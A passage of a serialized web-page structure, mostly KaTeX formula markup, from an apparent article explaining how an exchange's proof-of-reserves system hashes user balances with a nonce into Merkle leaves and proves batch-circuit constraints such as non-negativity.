way:",{"type":23,"tag":32,"props":94720,"children":94721},{},[94722],{"type":23,"tag":71,"props":94723,"children":94725},{"className":94724},[6318,6319],[94726],{"type":23,"tag":230,"props":94727,"children":94729},{"className":94728},[6324],[94730],{"type":23,"tag":230,"props":94731,"children":94733},{"className":94732,"ariaHidden":1726},[6329],[94734,94761],{"type":23,"tag":230,"props":94735,"children":94737},{"className":94736},[6334],[94738,94743,94748,94752,94757],{"type":23,"tag":230,"props":94739,"children":94742},{"className":94740,"style":94741},[6339],"height:0.6944em;",[],{"type":23,"tag":230,"props":94744,"children":94746},{"className":94745},[6345,23902],[94747],{"type":29,"value":86124},{"type":23,"tag":230,"props":94749,"children":94751},{"className":94750,"style":6524},[6426],[],{"type":23,"tag":230,"props":94753,"children":94755},{"className":94754},[6529],[94756],{"type":29,"value":863},{"type":23,"tag":230,"props":94758,"children":94760},{"className":94759,"style":6524},[6426],[],{"type":23,"tag":230,"props":94762,"children":94764},{"className":94763},[6334],[94765,94770,94775,94781,94786,94791,94797,94802,94807,94812,94818,94823,94829,94835,94842,94848,94854,94914,94919,94925,94930,94935,94940,94945,94950,94955,94960,94965,94970,95027,95032,95037,95042,95047,95052,95057,95064,95069,95075,95080,95086,95092,95097,95102,95107,95112,95117,95122,95127,95132,95137,95142,95147,95152,95157,95162],{"type":23,"tag":230,"props":94766,"children":94769},{"className":94767,"style":94768},[6339],"height:1.06em;vertical-align:-0.31em;",[],{"type":23,"tag":230,"props":94771,"children":94773},{"className":94772,"style":23903},[6345,23902],[94774],{"type":29,"value":23906},{"type":23,"tag":230,"props":94776,"children":94778},{"className":94777},[6345,23902],[94779],{"type":29,"value":94780},"ose",{"type":23,"tag":230,"props":94782,"children":94784},{"className":94783},[6345,23902],[94785],{"type":29,"value":6074},{"type":23,"tag":230,"props":94787,"children":94789},{"className":94788},[6345,23902],[94790],{"type":29,"value":72341},{"type":23,"tag":230,"props":94792,"children":94794},{"className":94793},[6345,23902],[94795],{"type":29,"value":94796},"o",{"type":23,"tag":230,"props":94798,"children":94800},{"className":94799},[6345,23902],[94801],{"type":29,"value":58177},{"type":23,"tag":230,"props":94803,"children":94805},{"className":94804},[24031],[94806],{"type":29,"value":302},{"type":23,"tag":230,"props":94808,"children":94810},{"className":94809},[6345,23902],[94811],{"type":29,"value":181},{"type":23,"tag":230,"props":94813,"children":94815},{"className":94814},[6345,23902],[94816],{"type":29,"value":94817},"sse",{"type":23,"tag":230,"props":94819,"children":94821},{"className":94820},[6345,23902],[94822],{"type":29,"value":24044},{"type":23,"tag":230,"props":94824,"children":94827},{"className":94825,"style":94826},[6345],"margin-right:0.02778em;",[94828],{"type":29,"value":5422},{"type":23,"tag":230,"props":94830,"children":94832},{"className":94831},[6345,23902],[94833],{"type":29,"value":94834},"ba",{"type":23,"tag":230,"props":94836,"children":94839},{"className":94837,"style":94838},[6345,23902],"margin-right:0.01968em;",[94840],{"type":29,"value":94841},"l",{"type":23,"tag":230,"props":94843,"children":94845},{"className":94844},[6345,23902],[94846],{"type":29,"value":94847},"an",{"type":23,"tag":230,"props":94849,"children":94851},{"className":94850},[6345,23902],[94852],{"type":29,"value":94853},"ce",{"type":23,"tag":230,"props":94855,"children":94857},{"className":94856},[6345],[94858,94863],{"type":23,"tag":230,"props":94859,"children":94861},{"className":94860},[6345,23902],[94862],{"type":29,"value":12982},{"type":23,"tag":230,"props":94864,"children":94866},{"className":94865},[6362],[94867],{"type":23,"tag":230,"props":94868,"children":94870},{"className":94869},[6367,23956],[94871,94902],{"type":23,"tag":230,"props":94872,"children":94874},{"className":94873},[6372],[94875,94897],{"type":23,"tag":230,"props":94876,"children":94879},{"className":94877,"style":94878},[6377],"height:0.3011em;",[94880],{"type":23,"tag":230,"props":94881,"children":94883},{"style":94882},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[94884,94888],{"type":23,"tag":230,"props":94885,"children":94887},{"className":94886,"style":6387},[6386],[],{"type":23,"tag":230,"props":94889,"children":94891},{"className":94890},[6392,6393,6394,6395],[94892],{"type":23,"tag":230,"props":94893,"children":94895},{"className":94894},[6345,6395],[94896],{"type":29,"value":6358},{"type":23,"tag":230,"props":94898,"children":94900},{"className":94899},[24059],[94901],{"type":29,"value":24062},{"type":23,"tag":230,"props":94903,"children":94905},{"className":94904},[6372],[94906],{"type":23,"tag":230,"props":94907,"children":94910},{"className":94908,"style":94909},[6377],"height:0.15em;",[94911],{"type":23,"tag":230,"props":94912,"children":94913},{},[],{"type":23,"tag":230,"props":94915,"children":94917},{"className":94916},[6426],[94918],{"type":29,"value":24003},{"type":23,"tag":230,"props":94920,"children":94922},{"className":94921},[6345],[94923],{"type":29,"value":94924},"∣∣",{"type":23,"tag":230,"props":94926,"children":94928},{"className":94927},[6426],[94929],{"type":29,"value":24003},{"type":23,"tag":230,"props":94931,"children":94933},{"className":94932},[6345,23902],[94934],{"type":29,"value":181},{"type":23,"tag":230,"props":94936,"children":94938},{"className":94937},[6345,23902],[94939],{"type":29,"value":94817},{"type":23,"tag":230,"props":94941,"children":94943},{"className":94942},[6345,23902],[94944],{"type":29,"value":24044},{"type":23,"tag":230,"props":94946,"children":94948},{"className":94947,"style":94826},[6345],[94949],{"type":29,"value":5422},{"type":23,"tag":230,"props":94951,"children":94953},{"className":94952},[6345,23902],[94954],{"type":29,"value":94834},{"type":23,"tag":230,"props":94956,"children":94958},{"className":94957,"style":94838},[6345,23902],[94959],{"type":29,"value":94841},{"type":23,"tag":230,"props":94961,"children":94963},{"className":94962},[6345,23902],[94964],{"type":29,"value":94847},{"type":23,"tag":230,"props":94966,"children":94968},{"className":94967},[6345,23902],[94969],{"type":29,"value":94853},{"type":23,"tag":230,"props":94971,"children":94973},{"className":94972},[6345],[94974,94979],{"type":23,"tag":230,"props":94975,"children":94977},{"className":94976},[6345,23902],[94978],{"type":29,"value":12982},{"type":23,"tag":230,"props":94980,"children":94982},{"className":94981},[6362],[94983],{"type":23,"tag":230,"props":94984,"children":94986},{"className":94985},[6367,23956],[94987,95016],{"type":23,"tag":230,"props":94988,"children":94990},{"className":94989},[6372],[94991,95011],{"type":23,"tag":230,"props":94992,"children":94994},{"className":94993,"style":94878},[6377],[94995],{"type":23,"tag":230,"props":94996,"children":94997},{"style":94882},[94998,95002],{"type":23,"tag":230,"props":94999,"children":95001},{"className":95000,"style":6387},[6386],[],{"type":23,"tag":230,"props":95003,"children":95005},{"className":95004},[6392,6393,6394,6395],[95006],{"type":23,"tag":230,"props":95007,"children":95009},{"className":95008},[6345,6395],[95010],{"type":29,"value":6348},{"type":23,"tag":230,"props":95012,"children":95014},{"className":95013},[24059],[95015],{"type":29,"value":24062},{"type":23,"tag":230,"props":95017,"children":95019},{"className":95018},[6372],[95020],{"type":23,"tag":230,"props":95021,"children":95023},{"className":95022,"style":94909},[6377],[95024],{"type":23,"tag":230,"props":95025,"children":95026},{},[],{"type":23,"tag":230,"props":95028,"children":95030},{"className":95029},[6426],[95031],{"type":29,"value":24003},{"type":23,"tag":230,"props":95033,"children":95035},{"className":95034},[6345],[95036],{"type":29,"value":11922},{"type":23,"tag":230,"props":95038,"children":95040},{"className":95039},[6426],[95041],{"type":29,"value":24003},{"type":23,"tag":230,"props":95043,"children":95045},{"className":95044},[6345],[95046],{"type":29,"value":94924},{"type":23,"tag":230,"props":95048,"children":95050},{"className":95049},[6426],[95051],{"type":29,"value":24003},{"type":23,"tag":230,"props":95053,"children":95055},{"className":95054,"style":24361},[6345,23902],[95056],{"type":29,"value":24364},{"type":23,"tag":230,"props":95058,"children":95061},{"className":95059,"style":95060},[6345,23902],"margin-right:0.08125em;",[95062],{"type":29,"value":95063},"H",{"type":23,"tag":230,"props":95065,"children":95067},{"className":95066},[6345,23902],[95068],{"type":29,"value":78546},{"type":23,"tag":230,"props":95070,"children":95072},{"className":95071},[6345],[95073],{"type":29,"value":95074},"256",{"type":23,"tag":230,"props":95076,"children":95078},{"className":95077},[24031],[95079],{"type":29,"value":302},{"type":23,"tag":230,"props":95081,"children":95083},{"className":95082},[6345,23902],[95084],{"type":29,"value":95085},"u",{"type":23,"tag":230,"props":95087,"children":95089},{"className":95088,"style":94826},[6345,23902],[95090],{"type":29,"value":95091},"ser",{"type":23,"tag":230,"props":95093,"children":95095},{"className":95094,"style":94826},[6345],[95096],{"type":29,"value":5422},{"type":23,"tag":230,"props":95098,"children":95100},{"className":95099},[6345,23902],[95101],{"type":29,"value":6074},{"type":23,"tag":230,"props":95103,"children":95105},{"className":95104},[6345,23902],[95106],{"type":29,"value":72341},{"type":23,"tag":230,"props":95108,"children":95110},{"className":95109},[24053],[95111],{"type":29,"value":5467},{"type":23,"tag":230,"props":95113,"children":95115},{"className":95114},[6426],[95116],{"type":29,"value":24003},{"type":23,"tag":230,"props":95118,"children":95120},{"className":95119},[6345],[95121],{"type":29,"value":94924},{"type":23,"tag":230,"props":95123,"children":95125},{"className":95124},[6426],[95126],{"type":29,"value":24003},{"type":23,"tag":230,"props":95128,"children":95130},{"className":95129},[6345,23902],[95131],{"type":29,"value":95085},{"type":23,"tag":230,"props":95133,"children":95135},{"className":95134,"style":94826},[6345,23902],[95136],{"type":29,"value":95091},{"type":23,"tag":230,"props":95138,"children":95140},{"className":95139,"style":94826},[6345],[95141],{"type":29,"value":5422},{"type":23,"tag":230,"props":95143,"children":95145},{"className":95144},[6345,23902],[95146],{"type":29,"value":58177},{"type":23,"tag":230,"props":95148,"children":95150},{"className":95149},[6345,23902],[95151],{"type":29,"value":94796},{"type":23,"tag":230,"props":95153,"children":95155},{"className":95154},[6345,23902],[95156],{"type":29,"value":58177},{"type":23,"tag":230,"props":95158,"children":95160},{"className":95159},[6345,23902],[95161],{"type":29,"value":94853},{"type":23,"tag":230,"props":95163,"children":95165},{"className":95164},[24053],[95166],{"type":29,"value":5467},{"type":23,"tag":32,"props":95168,"children":95169},{},[95170,95172,95178],{"type":29,"value":95171},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":23,"tag":71,"props":95173,"children":95175},{"className":95174},[],[95176],{"type":29,"value":95177},"uuid",{"type":29,"value":95179},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":23,"tag":59,"props":95181,"children":95183},{"id":95182},"batch-circuit",[95184],{"type":29,"value":95185},"Batch Circuit",{"type":23,"tag":32,"props":95187,"children":95188},{},[95189],{"type":29,"value":95190},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":23,"tag":32,"props":95192,"children":95193},{},[95194],{"type":23,"tag":2302,"props":95195,"children":95196},{},[95197],{"type":29,"value":95198},"Public Inputs",{"type":23,"tag":98,"props":95200,"children":95201},{},[95202,95207,95212],{"type":23,"tag":102,"props":95203,"children":95204},{},[95205],{"type":29,"value":95206},"Asset prices in USD",{"type":23,"tag":102,"props":95208,"children":95209},{},[95210],{"type":29,"value":95211},"Merkle tree hash",{"type":23,"tag":102,"props":95213,"children":95214},{},[95215],{"type":29,"value":95216},"Summed asset balances",{"type":23,"tag":32,"props":95218,"children":95219},{},[95220],{"type":23,"tag":2302,"props":95221,"children":95222},{},[95223],{"type":29,"value":95224},"Private Inputs",{"type":23,"tag":98,"props":95226,"children":95227},{},[95228,95233],{"type":23,"tag":102,"props":95229,"children":95230},{},[95231],{"type":29,"value":95232},"Users balances",{"type":23,"tag":102,"props":95234,"children":95235},{},[95236],{"type":29,"value":95237},"Merkle tree leaves hashes",{"type":23,"tag":32,"props":95239,"children":95240},{},[95241],{"type":23,"tag":2302,"props":95242,"children":95243},{},[95244],{"type":29,"value":95245},"Constraints",{"type":23,"tag":98,"props":95247,"children":95248},{},[95249,95702,95870,96217,96615],{"type":23,"tag":102,"props":95250,"children":95251},{},[95252],{"type":23,"tag":71,"props":95253,"children":95255},{"className":95254},[6318,6319],[95256],{"type":23,"tag":230,"props":95257,"children":95259},{"className":95258},[6324],[95260],{"type":23,"tag":230,"props":95261,"children":95263},{"className":95262,"ariaHidden":1726},[6329],[95264,95403,95607],{"type":23,"tag":230,"props":95265,"children":95267},{"className":95266},[6334],[95268,95273,95278,95284,95289,95294,95299,95304,95309,95316,95321,95326,95331,95390,95394,95399],{"type":23,"tag":230,"props":95269,"children":95272},{"className":95270,"style":95271},[6339],"height:0.9695em;vertical-align:-0.31em;",[],{"type":23,"tag":230,"props":95274,"children":95276},{"className":95275},[6345,23902],[95277],{"type":29,"value":181},{"type":23,"tag":230,"props":95279,"children":95281},{"className":95280},[6345,23902],[95282],{"type":29,"value":95283},"cco",{"type":23,"tag":230,"props":95285,"children":95287},{"className":95286},[6345,23902],[95288],{"type":29,"value":95085},{"type":23,"tag":230,"props":95290,"children":95292},{"className":95291},[6345,23902],[95293],{"type":29,"value":58177},{"type":23,"tag":230,"props":95295,"children":95297},{"className":95296},[6345,23902],[95298],{"type":29,"value":24044},{"type":23,"tag":230,"props":95300,"children":95302},{"className":95301,"style":94826},[6345],[95303],{"type":29,"value":5422},{"type":23,"tag":230,"props":95305,"children":95307},{"className":95306},[6345,23902],[95308],{"type":29,"value":53227},{"type":23,"tag":230,"props":95310,"children":95313},{"className":95311,"style":95312},[6345,23902],"margin-right:0.03588em;",[95314],{"type":29,"value":95315},"q",{"type":23,"tag":230,"props":95317,"children":95319},{"className":95318},[6345,23902],[95320],{"type":29,"value":95085},{"type":23,"tag":230,"props":95322,"children":95324},{"className":95323},[6345,23902],[95325],{"type":29,"value":6074},{"type":23,"tag":230,"props":95327,"children":95329},{"className":95328},[6345,23902],[95330],{"type":29,"value":24044},{"type":23,"tag":230,"props":95332,"children":95334},{"className":95333},[6345],[95335,95340],{"type":23,"tag":230,"props":95336,"children":95338},{"className":95337,"style":95312},[6345,23902],[95339],{"type":29,"value":5453},{"type":23,"tag":230,"props":95341,"children":95343},{"className":95342},[6362],[95344],{"type":23,"tag":230,"props":95345,"children":95347},{"className":95346},[6367,23956],[95348,95379],{"type":23,"tag":230,"props":95349,"children":95351},{"className":95350},[6372],[95352,95374],{"type":23,"tag":230,"props":95353,"children":95356},{"className":95354,"style":95355},[6377],"height:0.3117em;",[95357],{"type":23,"tag":230,"props":95358,"children":95360},{"style":95359},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[95361,95365],{"type":23,"tag":230,"props":95362,"children":95364},{"className":95363,"style":6387},[6386],[],{"type":23,"tag":230,"props":95366,"children":95368},{"className":95367},[6392,6393,6394,6395],[95369],{"type":23,"tag":230,"props":95370,"children":95372},{"className":95371},[6345,23902,6395],[95373],{"type":29,"value":6074},{"type":23,"tag":230,"props":95375,"children":95377},{"className":95376},[24059],[95378],{"type":29,"value":24062},{"type":23,"tag":230,"props":95380,"children":95382},{"className":95381},[6372],[95383],{"type":23,"tag":230,"props":95384,"children":95386},{"className":95385,"style":94909},[6377],[95387],{"type":23,"tag":230,"props":95388,"children":95389},{},[],{"type":23,"tag":230,"props":95391,"children":95393},{"className":95392,"style":6524},[6426],[],{"type":23,"tag":230,"props":95395,"children":95397},{"className":95396},[6529],[95398],{"type":29,"value":10911},{"type":23,"tag":230,"props":95400,"children":95402},{"className":95401,"style":6524},[6426],[],{"type":23,"tag":230,"props":95404,"children":95406},{"className":95405},[6334],[95407,95411,95417,95422,95427,95432,95437,95442,95447,95452,95457,95462,95467,95472,95477,95482,95487,95492,95549,95554,95559,95564,95569,95574,95579,95584,95589,95594,95598,95603],{"type":23,"tag":230,"props":95408,"children":95410},{"className":95409,"style":94768},[6339],[],{"type":23,"tag":230,"props":95412,"children":95414},{"className":95413},[6345],[95415],{"type":29,"value":95416},"Σ",{"type":23,"tag":230,"props":95418,"children":95420},{"className":95419},[6426],[95421],{"type":29,"value":24003},{"type":23,"tag":230,"props":95423,"children":95425},{"className":95424},[6345,23902],[95426],{"type":29,"value":181},{"type":23,"tag":230,"props":95428,"children":95430},{"className":95429},[6345,23902],[95431],{"type":29,"value":95283},{"type":23,"tag":230,"props":95433,"children":95435},{"className":95434},[6345,23902],[95436],{"type":29,"value":95085},{"type":23,"tag":230,"props":95438,"children":95440},{"className":95439},[6345,23902],[95441],{"type":29,"value":58177},{"type":23,"tag":230,"props":95443,"children":95445},{"className":95444},[6345,23902],[95446],{"type":29,"value":24044},{"type":23,"tag":230,"props":95448,"children":95450},{"className":95449,"style":94826},[6345],[95451],{"type":29,"value":5422},{"type":23,"tag":230,"props":95453,"children":95455},{"className":95454},[6345,23902],[95456],{"type":29,"value":181},{"type":23,"tag":230,"props":95458,"children":95460},{"className":95459},[6345,23902],[95461],{"type":29,"value":94817},{"type":23,"tag":230,"props":95463,"children":95465},{"className":95464},[6345,23902],[95466],{"type":29,"value":24044},{"type":23,"tag":230,"props":95468,"children":95470},{"className":95469,"style":94826},[6345],[95471],{"type":29,"value":5422},{"type":23,"tag":230,"props":95473,"children":95475},{"className":95474},[6345,23902],[95476],{"type":29,"value":94834},{"type":23,"tag":230,"props":95478,"children":95480},{"className":95479,"style":94838},[6345,23902],[95481],{"type":29,"value":94841},{"type":23,"tag":230,"props":95483,"children":95485},{"className":95484},[6345,23902],[95486],{"type":29,"value":94847},{"type":23,"tag":230,"props":95488,"children":95490},{"className":95489},[6345,23902],[95491],{"type":29,"value":94853},{"type":23,"tag":230,"props":95493,"children":95495},{"className":95494},[6345],[95496,95501],{"type":23,"tag":230,"props":95497,"children":95499},{"className":95498},[6345,23902],[95500],{"type":29,"value":12982},{"type":23,"tag":230,"props":95502,"children":95504},{"className":95503},[6362],[95505],{"type":23,"tag":230,"props":95506,"children":95508},{"className":95507},[6367,23956],[95509,95538],{"type":23,"tag":230,"props":95510,"children":95512},{"className":95511},[6372],[95513,95533],{"type":23,"tag":230,"props":95514,"children":95516},{"className":95515,"style":95355},[6377],[95517],{"type":23,"tag":230,"props":95518,"children":95519},{"style":94882},[95520,95524],{"type":23,"tag":230,"props":95521,"children":95523},{"className":95522,"style":6387},[6386],[],{"type":23,"tag":230,"props":95525,"children":95527},{"className":95526},[6392,6393,6394,6395],[95528],{"type":23,"tag":230,"props":95529,"children":95531},{"className":95530},[6345,23902,6395],[95532],{"type":29,"value":6074},{"type":23,"tag":230,"props":95534,"children":95536},{"className":95535},[24059],[95537],{"type":29,"value":24062},{"type":23,"tag":230,"props":95539,"children":95541},{"className":95540},[6372],[95542],{"type":23,"tag":230,"props":95543,"children":95545},{"className":95544,"style":94909},[6377],[95546],{"type":23,"tag":230,"props":95547,"children":95548},{},[],{"type":23,"tag":230,"props":95550,"children":95552},{"className":95551},[24031],[95553],{"type":29,"value":6069},{"type":23,"tag":230,"props":95555,"children":95557},{"className":95556},[6345,23902],[95558],{"type":29,"value":181},{"type":23,"tag":230,"props":95560,"children":95562},{"className":95561},[6345,23902],[95563],{"type":29,"value":94817},{"type":23,"tag":230,"props":95565,"children":95567},{"className":95566},[6345,23902],[95568],{"type":29,"value":24044},{"type":23,"tag":230,"props":95570,"children":95572},{"className":95571,"style":94826},[6345],[95573],{"type":29,"value":5422},{"type":23,"tag":230,"props":95575,"children":95577},{"className":95576},[6345,23902],[95578],{"type":29,"value":58177},{"type":23,"tag":230,"props":95580,"children":95582},{"className":95581},[6345,23902],[95583],{"type":29,"value":95085},{"type":23,"tag":230,"props":95585,"children":95587},{"className":95586},[6345,23902],[95588],{"type":29,"value":52906},{"type":23,"tag":230,"props":95590,"children":95592},{"className":95591},[24053],[95593],{"type":29,"value":17735},{"type":23,"tag":230,"props":95595,"children":95597},{"className":95596,"style":6427},[6426],[],{"type":23,"tag":230,"props":95599,"children":95601},{"className":95600},[6432],[95602],{"type":29,"value":6435},{"type":23,"tag":230,"props":95604,"children":95606},{"className":95605,"style":6427},[6426],[],{"type":23,"tag":230,"props":95608,"children":95610},{"className":95609},[6334],[95611,95615,95620,95625,95630,95635,95640,95646,95651,95657,95662,95667,95672,95677,95682,95687,95692,95697],{"type":23,"tag":230,"props":95612,"children":95614},{"className":95613,"style":94768},[6339],[],{"type":23,"tag":230,"props":95616,"children":95618},{"className":95617},[6345,23902],[95619],{"type":29,"value":181},{"type":23,"tag":230,"props":95621,"children":95623},{"className":95622},[6345,23902],[95624],{"type":29,"value":94817},{"type":23,"tag":230,"props":95626,"children":95628},{"className":95627},[6345,23902],[95629],{"type":29,"value":24044},{"type":23,"tag":230,"props":95631,"children":95633},{"className":95632,"style":94826},[6345],[95634],{"type":29,"value":5422},{"type":23,"tag":230,"props":95636,"children":95638},{"className":95637},[6345,23902],[95639],{"type":29,"value":32},{"type":23,"tag":230,"props":95641,"children":95643},{"className":95642,"style":94826},[6345,23902],[95644],{"type":29,"value":95645},"r",{"type":23,"tag":230,"props":95647,"children":95649},{"className":95648},[6345,23902],[95650],{"type":29,"value":6074},{"type":23,"tag":230,"props":95652,"children":95654},{"className":95653},[6345,23902],[95655],{"type":29,"value":95656},"ces",{"type":23,"tag":230,"props":95658,"children":95660},{"className":95659},[24031],[95661],{"type":29,"value":6069},{"type":23,"tag":230,"props":95663,"children":95665},{"className":95664},[6345,23902],[95666],{"type":29,"value":181},{"type":23,"tag":230,"props":95668,"children":95670},{"className":95669},[6345,23902],[95671],{"type":29,"value":94817},{"type":23,"tag":230,"props":95673,"children":95675},{"className":95674},[6345,23902],[95676],{"type":29,"value":24044},{"type":23,"tag":230,"props":95678,"children":95680},{"className":95679,"style":94826},[6345],[95681],{"type":29,"value":5422},{"type":23,"tag":230,"props":95683,"children":95685},{"className":95684},[6345,23902],[95686],{"type":29,"value":58177},{"type":23,"tag":230,"props":95688,"children":95690},{"className":95689},[6345,23902],[95691],{"type":29,"value":95085},{"type":23,"tag":230,"props":95693,"children":95695},{"className":95694},[6345,23902],[95696],{"type":29,"value":52906},{"type":23,"tag":230,"props":95698,"children":95700},{"className":95699},[24053],[95701],{"type":29,"value":17735},{"type":23,"tag":102,"props":95703,"children":95704},{},[95705,95864,95865],{"type":23,"tag":71,"props":95706,"children":95708},{"className":95707},[6318,6319],[95709],{"type":23,"tag":230,"props":95710,"children":95712},{"className":95711},[6324],[95713],{"type":23,"tag":230,"props":95714,"children":95716},{"className":95715,"ariaHidden":1726},[6329],[95717,95850],{"type":23,"tag":230,"props":95718,"children":95720},{"className":95719},[6334],[95721,95725,95730,95735,95740,95745,95750,95755,95760,95765,95770,95775,95780,95837,95841,95846],{"type":23,"tag":230,"props":95722,"children":95724},{"className":95723,"style":95271},[6339],[],{"type":23,"tag":230,"props":95726,"children":95728},{"className":95727},[6345,23902],[95729],{"type":29,"value":181},{"type":23,"tag":230,"props":95731,"children":95733},{"className":95732},[6345,23902],[95734],{"type":29,"value":95283},{"type":23,"tag":230,"props":95736,"children":95738},{"className":95737},[6345,23902],[95739],{"type":29,"value":95085},{"type":23,"tag":230,"props":95741,"children":95743},{"className":95742},[6345,23902],[95744],{"type":29,"value":58177},{"type":23,"tag":230,"props":95746,"children":95748},{"className":95747},[6345,23902],[95749],{"type":29,"value":24044},{"type":23,"tag":230,"props":95751,"children":95753},{"className":95752,"style":94826},[6345],[95754],{"type":29,"value":5422},{"type":23,"tag":230,"props":95756,"children":95758},{"className":95757},[6345,23902],[95759],{"type":29,"value":53227},{"type":23,"tag":230,"props":95761,"children":95763},{"className":95762,"style":95312},[6345,23902],[95764],{"type":29,"value":95315},{"type":23,"tag":230,"props":95766,"children":95768},{"className":95767},[6345,23902],[95769],{"type":29,"value":95085},{"type":23,"tag":230,"props":95771,"children":95773},{"className":95772},[6345,23902],[95774],{"type":29,"value":6074},{"type":23,"tag":230,"props":95776,"children":95778},{"className":95777},[6345,23902],[95779],{"type":29,"value":24044},{"type":23,"tag":230,"props":95781,"children":95783},{"className":95782},[6345],[95784,95789],{"type":23,"tag":230,"props":95785,"children":95787},{"className":95786,"style":95312},[6345,23902],[95788],{"type":29,"value":5453},{"type":23,"tag":230,"props":95790,"children":95792},{"className":95791},[6362],[95793],{"type":23,"tag":230,"props":95794,"children":95796},{"className":95795},[6367,23956],[95797,95826],{"type":23,"tag":230,"props":95798,"children":95800},{"className":95799},[6372],[95801,95821],{"type":23,"tag":230,"props":95802,"children":95804},{"className":95803,"style":95355},[6377],[95805],{"type":23,"tag":230,"props":95806,"children":95807},{"style":95359},[95808,95812],{"type":23,"tag":230,"props":95809,"children":95811},{"className":95810,"style":6387},[6386],[],{"type":23,"tag":230,"props":95813,"children":95815},{"className":95814},[6392,6393,6394,6395],[95816],{"type":23,"tag":230,"props":95817,"children":95819},{"className":95818},[6345,23902,6395],[95820],{"type":29,"value":6074},{"type":23,"tag":230,"props":95822,"children":95824},{"className":95823},[24059],[95825],{"type":29,"value":24062},{"type":23,"tag":230,"props":95827,"children":95829},{"className":95828},[6372],[95830],{"type":23,"tag":230,"props":95831,"children":95833},{"className":95832,"style":94909},[6377],[95834],{"type":23,"tag":230,"props":95835,"children":95836},{},[],{"type":23,"tag":230,"props":95838,"children":95840},{"className":95839,"style":6524},[6426],[],{"type":23,"tag":230,"props":95842,"children":95844},{"className":95843},[6529],[95845],{"type":29,"value":12274},{"type":23,"tag":230,"props":95847,"children":95849},{"className":95848,"style":6524},[6426],[],{"type":23,"tag":230,"props":95851,"children":95853},{"className":95852},[6334],[95854,95859],{"type":23,"tag":230,"props":95855,"children":95858},{"className":95856,"style":95857},[6339],"height:0.6444em;",[],{"type":23,"tag":230,"props":95860,"children":95862},{"className":95861},[6345],[95863],{"type":29,"value":6358},{"type":29,"value":3374},{"type":23,"tag":2302,"props":95866,"children":95867},{},[95868],{"type":29,"value":95869},"(non-negativity)",{"type":23,"tag":102,"props":95871,"children":95872},{},[95873,96211,96212],{"type":23,"tag":71,"props":95874,"children":95876},{"className":95875},[6318,6319],[95877],{"type":23,"tag":230,"props":95878,"children":95880},{"className":95879},[6324],[95881],{"type":23,"tag":230,"props":95882,"children":95884},{"className":95883,"ariaHidden":1726},[6329],[95885,96021],{"type":23,"tag":230,"props":95886,"children":95888},{"className":95887},[6334],[95889,95893,95898,95903,95908,95913,95918,95923,95928,95933,95938,95943,95948,95953,95958,95963,95968,95973,95978,95983,95988,95993,95998,96003,96008,96012,96017],{"type":23,"tag":230,"props":95890,"children":95892},{"className":95891,"style":94768},[6339],[],{"type":23,"tag":230,"props":95894,"children":95896},{"className":95895},[6345,23902],[95897],{"type":29,"value":24044},{"type":23,"tag":230,"props":95899,"children":95901},{"className":95900},[6345,23902],[95902],{"type":29,"value":94796},{"type":23,"tag":230,"props":95904,"children":95906},{"className":95905},[6345,23902],[95907],{"type":29,"value":24044},{"type":23,"tag":230,"props":95909,"children":95911},{"className":95910},[6345,23902],[95912],{"type":29,"value":181},{"type":23,"tag":230,"props":95914,"children":95916},{"className":95915,"style":94838},[6345,23902],[95917],{"type":29,"value":94841},{"type":23,"tag":230,"props":95919,"children":95921},{"className":95920,"style":94826},[6345],[95922],{"type":29,"value":5422},{"type":23,"tag":230,"props":95924,"children":95926},{"className":95925},[6345,23902],[95927],{"type":29,"value":181},{"type":23,"tag":230,"props":95929,"children":95931},{"className":95930},[6345,23902],[95932],{"type":29,"value":94817},{"type":23,"tag":230,"props":95934,"children":95936},{"className":95935},[6345,23902],[95937],{"type":29,"value":24044},{"type":23,"tag":230,"props":95939,"children":95941},{"className":95940,"style":94826},[6345],[95942],{"type":29,"value":5422},{"type":23,"tag":230,"props":95944,"children":95946},{"className":95945},[6345,23902],[95947],{"type":29,"value":94834},{"type":23,"tag":230,"props":95949,"children":95951},{"className":95950,"style":94838},[6345,23902],[95952],{"type":29,"value":94841},{"type":23,"tag":230,"props":95954,"children":95956},{"className":95955},[6345,23902],[95957],{"type":29,"value":94847},{"type":23,"tag":230,"props":95959,"children":95961},{"className":95960},[6345,23902],[95962],{"type":29,"value":94853},{"type":23,"tag":230,"props":95964,"children":95966},{"className":95965},[24031],[95967],{"type":29,"value":6069},{"type":23,"tag":230,"props":95969,"children":95971},{"className":95970},[6345,23902],[95972],{"type":29,"value":181},{"type":23,"tag":230,"props":95974,"children":95976},{"className":95975},[6345,23902],[95977],{"type":29,"value":94817},{"type":23,"tag":230,"props":95979,"children":95981},{"className":95980},[6345,23902],[95982],{"type":29,"value":24044},{"type":23,"tag":230,"props":95984,"children":95986},{"className":95985,"style":94826},[6345],[95987],{"type":29,"value":5422},{"type":23,"tag":230,"props":95989,"children":95991},{"className":95990},[6345,23902],[95992],{"type":29,"value":58177},{"type":23,"tag":230,"props":95994,"children":95996},{"className":95995},[6345,23902],[95997],{"type":29,"value":95085},{"type":23,"tag":230,"props":95999,"children":96001},{"className":96000},[6345,23902],[96002],{"type":29,"value":52906},{"type":23,"tag":230,"props":96004,"children":96006},{"className":96005},[24053],[96007],{"type":29,"value":17735},{"type":23,"tag":230,"props":96009,"children":96011},{"className":96010,"style":6524},[6426],[],{"type":23,"tag":230,"props":96013,"children":96015},{"className":96014},[6529],[96016],{"type":29,"value":10911},{"type":23,"tag":230,"props":96018,"children":96020},{"className":96019,"style":6524},[6426],[],{"type":23,"tag":230,"props":96022,"children":96024},{"className":96023},[6334],[96025,96029,96034,96039,96044,96049,96054,96059,96064,96069,96074,96079,96084,96089,96094,96099,96104,96109,96166,96171,96176,96181,96186,96191,96196,96201,96206],{"type":23,"tag":230,"props":96026,"children":96028},{"className":96027,"style":94768},[6339],[],{"type":23,"tag":230,"props":96030,"children":96032},{"className":96031},[6345],[96033],{"type":29,"value":95416},{"type":23,"tag":230,"props":96035,"children":96037},{"className":96036},[6426],[96038],{"type":29,"value":24003},{"type":23,"tag":230,"props":96040,"children":96042},{"className":96041},[6345,23902],[96043],{"type":29,"value":181},{"type":23,"tag":230,"props":96045,"children":96047},{"className":96046},[6345,23902],[96048],{"type":29,"value":95283},{"type":23,"tag":230,"p